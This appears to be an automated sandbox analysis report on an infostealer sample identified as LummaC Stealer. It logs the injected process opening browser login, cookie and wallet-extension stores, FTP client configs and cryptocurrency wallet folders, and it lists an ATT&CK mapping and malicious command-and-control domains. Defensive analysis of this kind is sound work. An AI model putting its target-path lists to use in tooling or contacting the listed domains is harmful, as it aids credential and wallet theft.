Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1831814063.0000000002A74000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1832206097.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1831883195.0000000002A7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 4820, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.binstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	231 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	231 Virtualization/Sandbox Evasion	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ForcesLangi.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
ForcesLangi.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\gdi32.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com:443/apipi	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/?#	100%	Avira URL Cloud	malware
https://prisonyfork.buzz:443/api	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiA	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiQ0O0q	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/api_q	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/apiB	100%	Avira URL Cloud	malware
https://appliacnesot.buzz:443/api	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apil	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/apiZ	100%	Avira URL Cloud	malware
ingreem-eilish.biz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	92.122.104.90	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
cashfuzysao.buzz	unknown	unknown	true	unknown
scentniej.buzz	unknown	unknown	true	unknown
inherineau.buzz	unknown	unknown	true	unknown
prisonyfork.buzz	unknown	unknown	true	unknown
ingreem-eilish.biz	unknown	unknown	true	unknown
rebuildeso.buzz	unknown	unknown	true	unknown
appliacnesot.buzz	unknown	unknown	true	unknown
hummskitnj.buzz	unknown	unknown	true	unknown
screwamusresz.buzz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
https://lev-tolstoi.com/api	false		high
hummskitnj.buzz	false		high
prisonyfork.buzz	false		high
ingreem-eilish.biz	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894288105.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	false		high
